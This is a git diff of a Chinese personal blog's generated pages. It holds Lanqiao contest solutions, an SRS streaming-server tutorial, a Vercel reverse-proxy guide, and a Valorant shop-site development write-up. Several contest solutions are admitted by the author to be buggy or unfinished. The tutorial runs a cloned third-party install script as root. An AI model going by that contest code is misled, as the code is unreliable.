## if i[0] == n: MaxPermutations.append(i)
## else: break
##print(MaxPermutations)

+ +

试题 H: 技能升级

    +
  • 时间限制: 1.0s
  • +
  • 内存限制: 512.0MB
  • +
  • 本题总分:20 分
  • +
  • 【问题描述】
    小蓝最近正在玩一款 RPG 游戏。他的角色一共有 N 个可以加攻击力的技 能。其中第 i 个技能首次升级可以提升 Ai 点攻击力,以后每次升级增加的点数 都会减少 Bi。⌈ Ai Bi ⌉ (上取整) 次之后,再升级该技能将不会改变攻击力。 现在小蓝可以总计升级 M 次技能,他可以任意选择升级的技能和次数。请 你计算小蓝最多可以提高多少点攻击力?
  • +
  • 【输入格式】
    输入第一行包含两个整数 N 和 M。 以下 N 行每行包含两个整数 Ai 和 Bi。
  • +
  • 【输出格式】
    输出一行包含一个整数表示答案。
  • +
  • 【样例输入】
    3 6 10 5 9 2 8 1
  • +
  • 【样例输出】
    47
  • +
  • 【评测用例规模与约定】
    对于 40% 的评测用例,1 ≤ N, M ≤ 1000;
    对于 60% 的评测用例,1 ≤ N ≤ 104 , 1 ≤ M ≤ 107;
    对于所有评测用例,1 ≤ N ≤ 105,1 ≤ M ≤ 2 × 109,1 ≤ Ai , Bi ≤ 106。
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from math import ceil
TotalATK = 0
SkillCounts, UpgradeTimes = list(map(int, input().split(' ')))
Skills = []
for i in range(SkillCounts):
ATK, PointMinus = list(map(int, input().split(' ')))
MaxUpgradeTimes = ceil(ATK/PointMinus)
Skills.append([ATK, PointMinus, MaxUpgradeTimes])

Skills.sort(key=lambda s: s[0],reverse=True)

for i in range(UpgradeTimes):
TotalATK += Skills[0][0]
Skills[0][0] -= Skills[0][1] # ATK减少固定值
Skills[0][2] -= 1 # 可升级次数-1
Skills.sort(key=lambda s: s[0],reverse=True)
print(TotalATK)

+ +

试题 I: 最长不下降子序列

    +
  • 时间限制: 1.0s
  • +
  • 内存限制: 512.0MB
  • +
  • 本题总分:25 分
  • +
  • 【问题描述】
    给定一个长度为 N 的整数序列:A1, A2, · · · , AN。现在你有一次机会,将其 中连续的 K 个数修改成任意一个相同值。请你计算如何修改可以使修改后的数 列的最长不下降子序列最长,请输出这个最长的长度。 最长不下降子序列是指序列中的一个子序列,子序列中的每个数不小于在 它之前的数。
  • +
  • 【输入格式】
    输入第一行包含两个整数 N 和 K。 第二行包含 N 个整数 A1, A2, · · · , AN。
  • +
  • 【输出格式】
    输出一行包含一个整数表示答案。
  • +
  • 【样例输入】
    5 1 1 4 2 8 5
  • +
  • 【样例输出】
    4
  • +
  • 【评测用例规模与约定】
    对于 20% 的评测用例,1 ≤ K ≤ N ≤ 100;
    对于 30% 的评测用例,1 ≤ K ≤ N ≤ 1000;
    对于 50% 的评测用例,1 ≤ K ≤ N ≤ 10000;
    对于所有评测用例,1 ≤ K ≤ N ≤ 10^5,1 ≤ Ai ≤ 10^6。
  • +
+
+

好像我的做法有点bug?

+
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Counts, Constant = list(map(int, input().split()))
Array = list(map(int, input().split()))
SubCount = []
# 前面的往小了改的话就得改成0,后面的往大了改就可以改很大

Min = []
Max = []

for i in range(len(Array)):
Min.append(min(Array[i:]))
try:
Max.append(max(Array[:i]))
except ValueError: # 第一个数字前面没有数字
Max.append(0)

for i in range(len(Min)):
if i == len(Min)-1: break
Count = 0
for j in Min[i+1:]:
if j >= Min[i]: Count += 1
else: break
SubCount.append(Count)
MaxSubCount = max(SubCount) # 获取当前最长子序列的位置
if SubCount.index(MaxSubCount)+1 <= Constant:
Result = SubCount.index(MaxSubCount) + MaxSubCount
else:
Result = MaxSubCount + Constant
print(Result)

+ +

试题 J: 最优清零方案

    +
  • 时间限制: 5.0s
  • +
  • 内存限制: 512.0MB
  • +
  • 本题总分:25 分
  • +
  • 【问题描述】
    给定一个长度为 N 的数列 A1, A2, · · · , AN。现在小蓝想通过若干次操作将 这个数列中每个数字清零。 每次操作小蓝可以选择以下两种之一: 1. 选择一个大于 0 的整数,将它减去 1; 2. 选择连续 K 个大于 0 的整数,将它们各减去 1。 小蓝最少经过几次操作可以将整个数列清零?
  • +
  • 【输入格式】
    输入第一行包含两个整数 N 和 K。 第二行包含 N 个整数 A1, A2, · · · , AN。
  • +
  • 【输出格式】
    输出一个整数表示答案。
  • +
  • 【样例输入】
    4 2 1 2 3 4
  • +
  • 【样例输出】
    6
  • +
  • 【评测用例规模与约定】
    对于 20% 的评测用例,1 ≤ K ≤ N ≤ 10。
    对于 40% 的评测用例,1 ≤ K ≤ N ≤ 100。
    对于 50% 的评测用例,1 ≤ K ≤ N ≤ 1000。
    对于 60% 的评测用例,1 ≤ K ≤ N ≤ 10000。
    对于 70% 的评测用例,1 ≤ K ≤ N ≤ 100000。
    对于所有评测用例,1 ≤ K ≤ N ≤ 1000000, 0 ≤ Ai ≤ 1000000。
  • +
+
+

印象中这题没做完?

+
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Length, Constant = list(map(int, input().split(' ')))   # 获得数列长度以及连续的数字的数量K
Array = list(map(int, input().split(' '))) # 构造输入的数列
MinusTimes = []

##def GetConstantArray(array):
## ConstantPosList = []
## for i in range(len(array)):
## if i == len(array)-1: break
## if array[i]+1 == array[i]:
## StartPos = i
## CusPos = i+1
## EndPos = i+1
## while 1:
## if CurPos+1 >= len(array): # 指针已经指向最后一个数字了
## ConstantPosList.append((StartPos, EndPos)) # 将位置信息存储进入列表中,终止循环
## break
## if array[CurPos+1] == array[CurPos]+1: CurPos += 1 # 当指针指向的下一个数字与当前指向的数字+1相等就继续
## else: # 指针指向的下一个数字与当前数字+1不相等
## ConstantPosList.append((StartPos, EndPos)) # 将位置信息存储进入列表中,终止循环
## break
## return ConstantPosList
##print(GetConstantArray(Array))

for i in range(Length):
if i+Constant >= Length+1: break
MinusTimes.append(max(Array[i:i+Constant]))

MaxMinusTimes = max(MinusTimes)
MaxMinusTimesPos = MinusTimes.index(MaxMinusTimes)
MinusTimesSum = []
for i in range(Constant):
try:
MinusTimesSum.append(sum(MinusTimes[MaxMinusTimesPos-i:MaxMinusTimes+i]))
except:
MinusTimesSum.append(sum(MinusTimes[MaxMinusTimesPos-i:]))
MaxMinusTimesSumPos = MinusTimesSum.index(max(MinusTimesSum)) # 确定从哪里开始减,怎么减

+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/lanqiao-2022-province/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/srs/index.html b/posts/srs/index.html new file mode 100644 index 0000000000..47b8ddf0ac --- /dev/null +++ b/posts/srs/index.html @@ -0,0 +1,422 @@ +手把手教你怎么搭建属于自己的直播服务器~ | GamerNoTitle + + + + + + + + + + + + + + +

手把手教你怎么搭建属于自己的直播服务器~

前两个月学校的旧外包跑路了(其实是合约到期了),他们的直播系统就被学校废弃了,那么问题就来了:学校要直播呀!!!没有直播系统怎么办啊!!!

+

所以这次就来手把手(按照我搭建的经验)来教你怎么搭建属于自个的直播系统~

+

PS:可以打开侧边栏看,方便找到需要的内容

+

准备材料

*表示非必需

+

1、一台linux电脑(windows上没试过,感兴趣的同志们可以试试)

+

*2、一台网页服务器(可以用上面的linux电脑,或者个人电脑)

+

搭建环境

GoLang环境

使用命令进入root用户

+
1
$ su
+ +
一键安装方式
1
2
3
$ git clone https://github.com/letseeqiji/oneinstall.git
$ cd oneinstall/golang
$ bash goinstall.sh
+ +

直接运行脚本进行安装

+
Ubantu/Debian用户

你可以使用

+
1
$ sudo apt-get install golang
+ +

直接安装Go环境,然后设置GOPATH即可

+
1
$ vi /etc/profile
+ +

打开文件后,对文件修改,在文件最下面添加

+

export GOPATH=/goWorkPlace

+

然后按Esc,保存文件

+

最后,刷新文件,使更改生效。输入命令

+
1
$ source /etc/profile
+ +
二进制码安装方式

64位

+
1
$ wget https://storage.googleapis.com/golang/go1.4.1.linux-amd64.tar.gz
+ +

32位

+
1
$ wget https://storage.googleapis.com/golang/go1.4.1.linux-386.tar.gz
+ +

在/usr/local下安装:

+
1
$ sudo tar -xzf <filename> -C /usr/local
+ +

配置环境变量:有三个变量GOPATH、PATH、GOROOT

+

GOROOT就是go的安装路径

+

GOPATH就是go的工作目录

+

PATH是go安装路径下的bin目录

+
1
$ vi /etc/profile
+ +

打开文件后,对文件修改,在文件最下面添加

+

export GOPATH=/goWorkPlace

+

export GOROOT=/usr/local/go

+

export PATH=$PATH:$GOROOT/bin

+

保存文件,刷新,使更改生效

+
1
$ source /etc/profile
+ +

srs设置

使用git克隆代码

+
1
2
$ git clone git@github.com:ossrs/srs.git
$ cd srs
+ +

进入srs目录,对目录中的文件进行修改。

+

打开./trunk/conf/srs.conf文件,对其进行修改

+

其中有几个参数需要修改:

+
1
2
3
4
listen	1935; #直播推流的端口
max_connections 1000; #最大线程数
srs_log_tank console; #srs日志输出位置,可以为console或file
srs_log_file ./objs/srs.log; #srs日志输出文件,当上面为file时必须设置
+ +

上面的参数根据自己的需要进行修改,其中max_connections推荐设置为100,否则编译有可能会出错

+

在root用户中,进入./trunk,使用命令

+
1
$ ./configure && make
+ +

对srs进行编译,编译过程稍长,请耐心等待

+

当编译完成后,可以使用

+
1
$ ./objs/srs -c conf/srs.conf
+ +

打开srs服务器,打开客户机上的OBS Studio(vMix也可以),推流地址填写如下

+

rtmp://<你的srs服务器ip>:1935/home

+

推流密钥填写如下

+

/live

+

也可以把live换成任意的文字或路径

+

此时可以使用VLC Media Player来检测是否推流成功,打开VLC Media Player,选择“媒体”->“打开网络串流”,在URL里面填写你的rtmp地址(包括密钥)例如我的OBS配置如下

+

OBS-Config

+

那么我就应该填写rtmp://172.52.5.100:1935/home/live

+

点击确定,可以看到我推流出来的内容

+

VLC

+

这样就证明我推流成功了!

+

网页前端设置

我们毕竟是个直播,总不可能每个班级都安装一个VLC Media Player的嘛,所以说,我们要用网页来拉流。

+

用网页来拉流,就要用到HLS了(具体百度哦~),但是我们要怎么打开HLS呢?

+

你需要在你的srs.conf中的

+
1
2
vhost __defaultVhost__ {
}
+ +

中加入以下内容(可以直接复制粘贴)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
vhost __defaultVhost__ {
# http-flv设置
http_remux{
enabled on;
mount [vhost]/[app]/[stream].flv;
hstrs on;
}

# hls设置
hls{
enabled on;
hls_path ./objs/nginx/html;
hls_fragment 10;
hls_window 60;
}
}
+ +

然后重新打开srs即可

+

那么下面的链接应该都可以使用(按照我的填写方法为例)

+ + + + + + + + + + + + + + + + + + + +
链接类型链接
rtmprtmp://172.52.5.100:1935/live/home
http/flvhttp://172.52.5.100:8080/live/home.flv
http/m3u8http://172.52.5.100:8080/live/home.m3u8
+

可以利用我们的网页示例,进行调试(请不要使用本地打开文件的方式进行调试,会被拦截)

+
1
$ git clone git@github.com:5amstd/live-system.git
+ +

将里面的146行的视频地址更改为自己的视频地址即可

+
1
video:'http://172.52.5.100:8080/home/live.flv' //视频地址
+ +

然后保存刷新,打开里面的视频播放器(都9102年了还用Flash???),就可以看到直播画面了

+

Website

+

如果你看到了直播画面,就证明你成功了~

+

题外话

第一次用Ubantu来搭建项目,感觉Ubantu挺好用的,所以现在两台电脑吧,把我之前的那台DELL OptiPlex 3046拿来装Ubantu了

+

srs搞了我很长时间,其实最主要的问题是Ubantu(Linux)用的不很熟悉,然后权限问题也很烦

+

HLS的分发挺麻烦的,查看了很多官方文档,后来在别人的文章里面找到了解决方法

+

最近喜欢打方舟,有舟游玩家嘛,加波好友啊:喵呜初音#0717(B服玩家哦~)

+
Author: GamerNoTitle
Link: https://bili33.top/posts/srs/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/vercel-reverse-proxy/index.html b/posts/vercel-reverse-proxy/index.html new file mode 100644 index 0000000000..8f2f764889 --- /dev/null +++ b/posts/vercel-reverse-proxy/index.html @@ -0,0 +1,337 @@ +Vercel搭建反向代理 | GamerNoTitle + + + + + + + + + + + + + + +

Vercel搭建反向代理

首先你需要安装一下vercel的命令行工具,使用npm进行安装(需要安装nodejs,没安装的自己去下一个)

+
1
npm i -g vercel
+ +

当然你也可以用cnpm安装

+
1
cnpm i -g vercel
+ +

安装完后可以使用vercel -v来看看是否安装成功了

+
1
2
3
vercel -v
>> Vercel CLI 24.2.4
>> 24.2.4
+ +

接着把下面这些内容复制到一个json文件里面

+
1
2
3
4
5
6
{
"version": 2,
"routes": [
{"src": "/(.*)","dest": "https://bili33.top/$1"}
]
}
+ +

其中,我的域名那里可以改成你想要反代的网站的域名,例如填写cdn.jsdelivr.net,就可以按照jsdelivr的格式去使用它的CDN,例如

+
1
2
3
4
5
6
7
8
9
10
{
"version": 2,
"routes": [
{"src": "/(.*)","dest": "https://cdn.jsdelivr.net/$1"},
{"src": "/","dest": "https://bili33.top"}
],
"redirects": [
{"src": "/npm/(.*)", "destination": "http://127.0.0.1"}
]
}
+ +

这里redirects是访问特定的route的时候进行重定向,可以达到禁止访问的目的(但是实测好像并不太行)

+

更多关于json文件的适用方法,可以参照https://vercel.com/docs/project-configuration

+

写完json文件以后,就开始对vercel的cli进行验证,使用vercel login进行登录

+
1
2
3
4
5
6
7
8
9
10
vercel login
Vercel CLI 24.2.4
> Log in to Vercel (Use arrow keys)
> Continue with GitHub
Continue with GitLab
Continue with Bitbucket
Continue with Email
Continue with SAML Single Sign-On
─────────────────────────────────
Abort
+ +

按上下键可以选择登录方式,我就直接用Github登录了,会返回一个登录地址,可以直接在浏览器打开

+

登录完成后会像我下面这个这么提示

+
1
2
3
4
5
6
vercel login
Vercel CLI 24.2.4
> Log in to Vercel github
> Success! GitHub authentication complete for <your email>
Congratulations! You are now logged in. In order to deploy something, run `vercel`.
💡 Connect your Git Repositories to deploy every branch push automatically (https://vercel.link/git).
+ +

接着我们对刚刚的json文件进行部署,使用下面的命令即可

+
1
vercel -A <name>.json --prod
+ +

这里的json的文件名要指定为你刚刚设置的文件,--prod是推入生产环境,按照提示输入就行了

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
vercel -A <name>.json --prod
Vercel CLI 24.2.4
❗️ Your Project was either deleted, transferred to a new Team, or you don’t have access to it anymore.
? Set up and deploy “<your folder>”? [Y/n] y
? Which scope do you want to deploy to? <your username or team>
? Link to existing project? [y/N] n
? What’s your project’s name? vercel-json
? In which directory is your code located? ./
No framework detected. Default Project Settings:
- Build Command: `npm run vercel-build` or `npm run build`
- Output Directory: `public` if it exists, or `.`
- Development Command: None
? Want to override the settings? [y/N] n
🔗 Linked to <user/project> (created .vercel)
🔍 Inspect: <Your inspect link> [961ms]
✅ Production: <Your production link> [copied to clipboard] [10s]
+ +

部署完后你就可以在Vercel中找到,并进行配置了

+
Author: GamerNoTitle
Link: https://bili33.top/posts/vercel-reverse-proxy/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/robots.txt b/robots.txt new file mode 100644 index 0000000000..432f40855b --- /dev/null +++ b/robots.txt @@ -0,0 +1,11 @@ +User-agent: Baiduspider +Disallow:/posts/biliRoaming/ +Disallow:/posts/CloudFlare-Workers +Disallow:/posts/CloudFlare-Workers-Section1 +Disallow:/posts/CloudFlare-Workers-Section2 +Disallow:/posts/Heroku-V2ray +Sitemap: https://bili33.top/baidusitemap.xml + +User-agent: * +Disallow: +Sitemap: https://bili33.top/sitemap.xml \ No newline at end of file diff --git a/search.xml b/search.xml new file mode 100644 index 0000000000..80765f0524 --- /dev/null +++ b/search.xml @@ -0,0 +1,2556 @@ + + + + + + + 利用ValorantAPI开发商店查询网站 + + /posts/Valorant-Shop-with-API/ + +

先上链接:https://val.bili33.top/

附上可用于参考的文档(在别人的文档上改的,我的文档里附了源文档链接):https://gamernotitle.notion.site/Valorant-API-baffa2069fb848a781664432564e94d0

出现这个Idea是因为最近从Go转瓦去玩了,然后每天商店会刷4个皮肤(玩过瓦的都知道每天8点蹲商店),能实现这个的有很多应用,其中不乏国产的小黑盒、游民星空;Google Play商店上面还有Vshop(因DMCA被暂时下架了),在这些应用中除了Vshop,其他的我用过的都存在一个问题:每天都要重新登陆,就会弄得,很烦。特别是我这种账号开了二次验证的玩家,还要天天跑邮箱收验证码。

然后我就去搜了一下拳头的API文档:Riot Developer Portal (riotgames.com),但是并没有发现相关的API(特别是瓦的API需要的APIkey的权限比较高,个人开发者拳头不给这么高的权限)

拳头的门槛太高了,搞得我被劝退了一段时间,直到我在网上搜索到了这个Notion文档(我的参考文档是从这里改的):新增模块:UAIOSC-valorant;新增功能:每日商店刷新检测等(使用GitHub上从Valorant客户端扒出来的API) (notion.site)

既然有了别人整理出来的文档,那么就着手开始做吧!

我一人就是一支军队哒!!!!!

网站框架

因为个人用Python用的比较多(说白了就是其他的不熟,真不熟吧),所以第一反应是用Flask作为网站的引擎去开发。但是在做后端之前,得先把前端的框架大概搭建一下。为了把网站做的好看一点,我就去找模板去了。

之前做哔哩CDN的时候,用的是Creative TIM的Argon设计语言(creativetimofficial/argon-design-system),这次我本来想在TemplateMonster上面找的,但是这网站上面的模板那叫一个鱼龙混杂呀,所以我还是找回老东家Creative TIM的设计语言,自己去搭建框架,然后看到Soft UI这一套就挺不错的(毕竟总不可能网站都用一个风格嘛),就拿来用了

在大概花了三个小时把网站的前端框架给弄好(第一版只做了首页(登录页)EULA市场页面),然后当天晚上就开始做后端的逻辑

登录部分

登录部分我最开始就想的是用轮子(倒不如说整个网站能用轮子的都用轮子),在Ultronxr大佬的文档中提到了三个登录库(最下面那个是大佬自己改了的,第一个是大佬用Java写的,但是404警告):

我试了一下底下两个(毕竟能不用Java就不用Java嘛),然后发现很尴尬的事情:登录不上。不知道是不是我的打开方式不对,但是我试了半个小时都是不行,那没办法啦,只能另寻他路

我用关键词Riot Auth交友平台上面进行搜索,结果找到了这个仓库:ohlunaaa/Riot-auth (github.com)

我先Clone了下来,然后尝试用里面的example.py进行登录,不管是开了2FA(二步验证,下同)还是没开的都能够登上,并且返回access_tokenentitlement_token,然后我就用它了(这里登录用的我朋友的号,不是我的)

着手把这个轮子改一改,进行亿点点改动,首先登录操作改成一个函数,然后把二步验证也打包成函数,这样输入验证码的时候就调用这个函数就行了,改着改着就给我改成了现在的样子:VSC/RiotLogin.py at master · GamerNoTitle/VSC · GitHub

然后在后端,接收前端传来的form数据,构建了一个登录函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@app.route('/api/login', methods=['POST'])
def RiotLogin():
# print(request.form)
username = request.form.get('Username')
password = request.form.get('Password')
# APServer = request.form.get('APServer')
# EUServer = request.form.get('EUServer')
# NAServer = request.form.get('NAServer')
# KRServer = request.form.get('KRServer')
checked_rule = request.form.get('CheckedRule')
checked_eula = request.form.get('CheckedEULA')
if username == '' or password == '' or not checked_eula or not checked_rule:
return render_template('index.html', infoerror=True)
else:
CREDS = username, password
user = Auth(username, password)
if user.auth:
response = make_response(render_template('myMarket.html'))
response.set_cookie('access_token', user.access_token)
response.set_cookie('entitlement_token', user.entitlement)
response.set_cookie('region', user.Region)
response.set_cookie('username', user.Name)
response.set_cookie('tag', user.Tag)
response.set_cookie('logged', '1')
response.status_code = 200
else:
response = make_response(render_template('index.html', loginerror=True))
return response

你可以发现这里面是有服务器选择的选项接收的,只不过被我注释掉了,其实我一开始以为登录的API需要用户根据自己账号所在地区选择(有的人打美服那就得选NA,同理,打欧服就得选EU,不过国区大部分人是港区、台区、缅甸区啥的,这都属于AP的范围),后来发现在登录的时候会返回地区(见上图),所以就给我注释掉了,后面更是删掉了。

至于二步验证,那是后面干的事情,让我们先进入商店获取阶段

获取商店

获取商店是一个很麻烦的事情,特别是要对武器啥的进行解析,让我们从获取开始

首先根据Ultronxr大佬的文档,有这样的一个API的端点表格(下图)

表格里面写的很详细,我们用到的API为这个(以亚太服为例) -> https://pd.ap.a.pvp.netstore/v2/storefront/

通过初始化一个player对象,来获取玩家的每日商店,并保存到自身的shop变量中,以供后续使用(该版本文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class player:
def __init__(self, access_token: str, entitlement_token: str, region: str, user_id: str):
self.access_token = access_token
self.entitlement = entitlement_token
self.region = region
self.__header = {
'Authorization': f'Bearer {self.access_token}',
'X-Riot-Entitlements-JWT': self.entitlement,
'X-Riot-ClientPlatform': 'ew0KCSJwbGF0Zm9ybVR5cGUiOiAiUEMiLA0KCSJwbGF0Zm9ybU9TIjogIldpbmRvd3MiLA0KCSJwbGF0Zm9ybU9TVmVyc2lvbiI6ICIxMC4wLjE5MDQyLjEuMjU2LjY0Yml0IiwNCgkicGxhdGZvcm1DaGlwc2V0IjogIlVua25vd24iDQp9',
'X-Riot-ClientVersion': 'release-06.07-shipping-16-866145', #requests.get('https://valorant-api.com/v1/version', timeout=30).json()['data']['riotClientVersion'],
'Content-Type': 'application/json'
}
if region == 'ap':
server = apServer
elif region == 'eu':
server = euServer
elif region == 'na':
server = naServer
else:
server = krServer
response = requests.get(f'{server}{store}{user_id}', headers=self.__header, timeout=30)
self.shop = response.json()
if response.status_code == 400 or response.status_code == 404: self.auth = False
else: self.auth = True

从这个API我们能够获取到很详细的商店数据(见文档,这里不贴了,太长了),其中对我们有用的是SkinsPanelLayoutBonusStore这两个东西,分别对应了每日商店(每天4个皮肤)和黑市(赛季结束前20天的商店,里面有6个皮肤)

根据获取到的字典,我们可以提取到皮肤的UUID,例如文档中给的示例紫金狂潮 暴徒的皮肤ID是b9ee2457-481c-6776-3f5b-0ca8e8f90c89,当我使用这个UUID去https://valorant-api.com/查询的时候,根据文档给出的格式https://valorant-api.com/v1/weapons/b9ee2457-481c-6776-3f5b-0ca8e8f90c89访问后发现提示

1
2
3
4
{
"status": 404,
"error": "the requested uuid was not found"
}

然后我就直接访问https://valorant-api.com/v1/weapons/skins,把里面的所有内容扒了下来,做了一个缓存,里面写了所有皮肤名字对应的皮肤UUID(见这里

通过自己做的这个缓存作为索引,去Valorant-API网站上调用到这个皮肤的所有信息,然后进行解析,得到这个皮肤的所有等级和炫彩数据,构成一个对象(下面代码是最初版本,该版本文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class weapon:
def __init__(self, uuid: str, cost: int):
self.uuid = uuid
self.cost = cost
self.weapon_id = None
with open('assets/dict/zh_CN.json') as f:
data = json.loads(f.read())
f.close()
self.name = requests.get(f'https://valorant-api.com/v1/weapons/skinlevels/{self.uuid}?language=zh-CN', timeout=30).json()['data']['displayName']
self.uid = data[self.name] # the real series skin uuid for the weapon, not a level uuid
self.data = requests.get(f'https://valorant-api.com/v1/weapons/skins/{self.uid}?language=zh-CN', timeout=30).json()['data']
self.level = self.data['levels'] # Skin Levels
self.chroma = self.data['chromas'] # Skin Chromas
self.base_img = self.data['displayIcon']

然后直接在主程序里面创建weapon对象的变量,直接调用对象中的数据(该版本文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@app.route('/market', methods=['GET'])
def market():
cookie = request.cookies
access_token = cookie.get('access_token')
entitlement = cookie.get('entitlement_token')
region = cookie.get('region')
userid = cookie.get('user_id')
user = player(access_token, entitlement, region, userid)
if user.auth:
shop = user.shop['SkinsPanelLayout'] # Flite the daily skin
weapon0 = weapon(shop['SingleItemStoreOffers'][0]['OfferID'], shop['SingleItemStoreOffers'][0]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
weapon1 = weapon(shop['SingleItemStoreOffers'][1]['OfferID'], shop['SingleItemStoreOffers'][1]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
weapon2 = weapon(shop['SingleItemStoreOffers'][2]['OfferID'], shop['SingleItemStoreOffers'][2]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
weapon3 = weapon(shop['SingleItemStoreOffers'][3]['OfferID'], shop['SingleItemStoreOffers'][3]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
return render_template('myMarket.html', market=True, weapon0={"name": weapon0.name, "cost": weapon0.cost, "img": weapon0.base_img},
weapon1={"name": weapon1.name, "cost": weapon1.cost, "img": weapon1.base_img},
weapon2={"name": weapon2.name, "cost": weapon2.cost, "img": weapon2.base_img},
weapon3={"name": weapon3.name, "cost": weapon3.cost, "img": weapon3.base_img})
else:
response = make_response(redirect('/', 302))
for cookie in request.cookies:
response.delete_cookie(cookie)
return response

接着再把所有数据返回给jinja2进行渲染,把东西填入表格,然后我就写了好大一堆render_template

因为刚好做这个项目的时候夜市是开着的,所以我也把夜市部分给做完了

1
2
3
4
return render_template('myMarket.html', market=True, weapon0={"name": weapon0.name, "cost": weapon0.cost, "img": weapon0.base_img}, 
weapon1={"name": weapon1.name, "cost": weapon1.cost, "img": weapon1.base_img},
weapon2={"name": weapon2.name, "cost": weapon2.cost, "img": weapon2.base_img},
weapon3={"name": weapon3.name, "cost": weapon3.cost, "img": weapon3.base_img})

皮肤缓存

这个缓存不是传统意义上的缓存,是我把所有的皮肤数据扒下来存到文件里当缓存,每30分钟更新一次

我是开了一个新的线程去做的这个东西(下面为更新缓存的函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import json
import time

sc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-CN'
tc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-TW'
jp_link = 'https://valorant-api.com/v1/weapons/skins?language=ja-JP'
en_link = 'https://valorant-api.com/v1/weapons/skins'

Linkmap = [
('zh-CN', sc_link),
('zh-TW', tc_link),
('ja-JP', jp_link),
('en', en_link)
]

def updateCache():
while True:
print('Updating Cache...')
for lang, link in Linkmap:
res = requests.get(link, timeout=30)

dt = {}
for i in res.json()['data']:
dt[i['displayName']] = i['uuid']

with open(f'assets/dict/{lang}.json', 'wt', encoding='utf8') as f:
f.write(json.dumps(dt))

del res, dt # Free RAM
time.sleep(3600) # refresh cache every 1 hr

if __name__ == '__main__':
updateCache()

下面是我在主程序里面调用新线程

1
2
3
4
import _thread
from utils.Cache import updateCache

_thread.start_new_thread(updateCache, ())

启动信号我是放在flask服务器启动之前,主函数里面,这样就可以启动这个线程,并且每30分钟自动更新一次皮肤的数据缓存

更好的图片预览

在弄完电脑端的页面后,我发现图片太小了,而且帮我测试的同志(@Vanilluv)给我提出了这个建议

我估计他说的是这种(图示为Pixiv的一个浏览器插件 PixivBatchDownloader

但是但是,我实在想不出什么库可以达到这个效果,我就想到我的Blog的主题hexo-theme-butterfly用的fancybox,可以做到点击查看大图的效果,所以我就想做成这种

这个时候,我就开始求助ChatGPT了(因为懒得写html了,写起来真的很烦)

直接按照它给我的做法,往里面写,不一会就做好了√

二步验证

上面说到,一开始的登录部分是不支持二步验证的,但是轮子本身是支持二步验证的。我自己在测试的过程中,一开始如果是点击登录后,然后反弹回去登录页面加多一个验证码框框,让用户输入验证码后再点登陆,发现这样会导致会话终结,也就是说这个时候在拳头那里已经算是一个新的会话了。于是我又去问ChatGPT

Q: 我想在flask服务器中保存requests的session,该怎么做

A: 在 Flask 服务器中,您可以使用 Flask-Session 扩展来保存 requests 的 session。Flask-Session 提供了一个简单的方法来将 Flask 应用程序连接到服务器的会话存储。

诶,这刚好给了我方向,而且它也给了我代码,我把它给我的代码放进去,小改一下登录部分,不一会就做好了,但是下面坑就来了(等会说,记住GPT给我的建议,下面要考)

手机端页面适配

关于手机和电脑的判断,我是通过UA进行判断的

电脑端的UI是像下面这样(Edge电脑端)

1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.35

而手机的像是下面这样(Edge移动端)

1
Mozilla/5.0 (Linux; Android 13; M2012K11AC) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36 EdgA/112.0.1722.59

很明显里面有系统的这个字段,手机会有Android字样,虽然不知道iPhone是咋样的,但是把iPhone字段加入判断准没错,这就是我手机和电脑端的判断依据

我一开始的想法是说把表格弄成竖直的样式,就是一个表格,从上到下是名称图片价格这样的顺序,这样想了以后,发现表头是不必要的东西,你想嘛,手机的宽度就那么小,再弄个表头在左边不是显得很多余嘛

然后我又去求助《万能的》GPT,GPT跟我说Soft UI这一套是用Bootstrap5制成的,里面有card这一class(就是我们平常见到的卡片式),然后我就直接把我的代码给GPT,它给我生成了card的代码,直接贴进去,SO EASY~

第一次踩坑:flask新版本

刚好做手机端适配的那一天我跟我爸出去了,所以我是抱着我的苏菲在外面写的代码,好不容易在codespaces里面调试完成了,git push一下,结果就直接BOOM了,提示如下

1
2
3
4
5
6
7
8
9
10
11
127.0.0.1 - - [10/May/2023 16:55:53] "GET / HTTP/1.1" 500 -
Error on request:
Traceback (most recent call last):
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\site-packages\flask\app.py", line 2189, in wsgi_app
ctx.push()
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\site-packages\flask\ctx.py", line 377, in push

